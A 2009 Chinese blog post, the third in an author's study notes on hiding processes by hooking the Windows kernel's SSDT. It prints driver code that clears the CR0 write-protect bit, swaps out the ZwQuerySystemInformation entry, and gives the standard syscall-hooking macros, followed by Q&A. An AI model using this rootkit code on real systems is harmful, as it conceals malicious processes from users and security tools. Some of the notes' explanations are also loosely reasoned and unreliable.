S.l.e!ep.¢%

像打了激速一样,以四倍的速度运转,开心的工作
简单、开放、平等的公司文化;尊重个性、自由与个人价值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首页 :: 新随笔 :: 联系 :: 聚合  :: 管理

HOOK SSDT Hide Process (三)

Posted on 2009-10-25 16:06 S.l.e!ep.¢% 阅读(473) 评论(0)  编辑 收藏 引用 所属分类: RootKit
前:HOOK SSDT Hide Process (二)

[新资料] SSDT HIDE Process
[旧资料] HOOK SSDT实现进程隐藏

旧资料中的 Hook 是如此实现的

  1. VOID Hook()
  2. {
  3.         DbgPrint("Entry Hook()\n");
  4.         OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反汇编查到zwquerysysteminformationde
  5.                                                                                                                                        //的ID号是0xADh
  6.         DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
  7.         //保存原来函数的地址
  8.         OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
  9.   DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
  10.   DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);
  11.    //取消内存写保护
  12.   _asm
  13.   {
  14.     cli
  15.    
  16.       mov  eax,cr0  
  17.       and  eax,not 10000h
  18.       mov  cr0,eax
  19.       
  20.   }
  21.    
  22.         *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;       //mark   MyZwQuerySystemInformation;
  23.   
  24.   //还原内存写保护
  25.   _asm
  26.   {  
  27.   
  28.     mov  eax,cr0
  29.       or   eax,10000h
  30.       mov  cr0,eax
  31.       sti
  32.   
  33.   
  34.   }
  35. }

OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;
//用windbg反汇编查到zwquerysysteminformationde的ID号是0xADh
1. zwquerysysteminformationde的ID号是0xADh   这个ID是如何得来的?
A: 用 Windbg  u 显示 zwquerysysteminformation 所在地址都可以看到, 见Q3

Q2. 4表示指针的大小?如果在 64机器上就应该是 8 了?
A:   是的,所以正规写法应该是
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

Q3. 另一种写法是
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
// save old system call locations
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

*(PULONG) 是地址的偏移类型, 相关于 *4, 但 PUCHAR 又是什么? _function+1 又表示什么?
"将_Function+1即可确定ServiceID的位置,即在系统服务调度表中的入口地址"

A:四个有用的宏
SYSTEMSERVICE macro:可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中
SYSCALL_INDEX macro:获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。
这两个宏之所以能工作,是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。
例:
00401023      A1 94214000        mov     eax, dword ptr [402194]
A1 表示    mov eax
94214000 表示ULONG
所有 Zw* 开头的函数最开始的第一条指令是  MOV eax, ULONG, 这里的ULONG就是系统调用函数在SSDT中的索引。
_function 是函数地址, (PUCHAR)_function+1   指向 ULONG, 再把它转成 PULONG  ,就可以拿到 系统调用函数在SSDT中的索引 (Nt*函数的地址)


HOOK_SYSCALL和UNHOOK_SYSCALL macros:获得Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
这四个宏具体是:
#define SYSTEMSERVICE(_func) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
  
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
_Orig = (PVOID) InterlockedExchange( (PLONG)   \
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  \
InterlockedExchange((PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

Hook SSDT 其实就是把 SSDT 里面的函数地址替换成自己的处理函数, 一般在 DriverEntry() 就HOOK了
在 DriverUnload() 里再把 SSDT 里面的函数地址还原 

在写 KeServiceDescriptorTable.ServiceTableBase  时有一个重要步骤
需要去掉'内存保护'才可以写入
Q:为何这个变量会受到'内存保护'?  受'内存保护'的意义是?既然有办法去掉'内存保护',那为何还要保护呢?

目前所知,去掉'内存保护'有两种方法
1. 设置 CR0 寄存器的标志位
2. MDL

Q1: 这两种方法的区别是什么?
Q2: MDL 的原理又是什么?


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理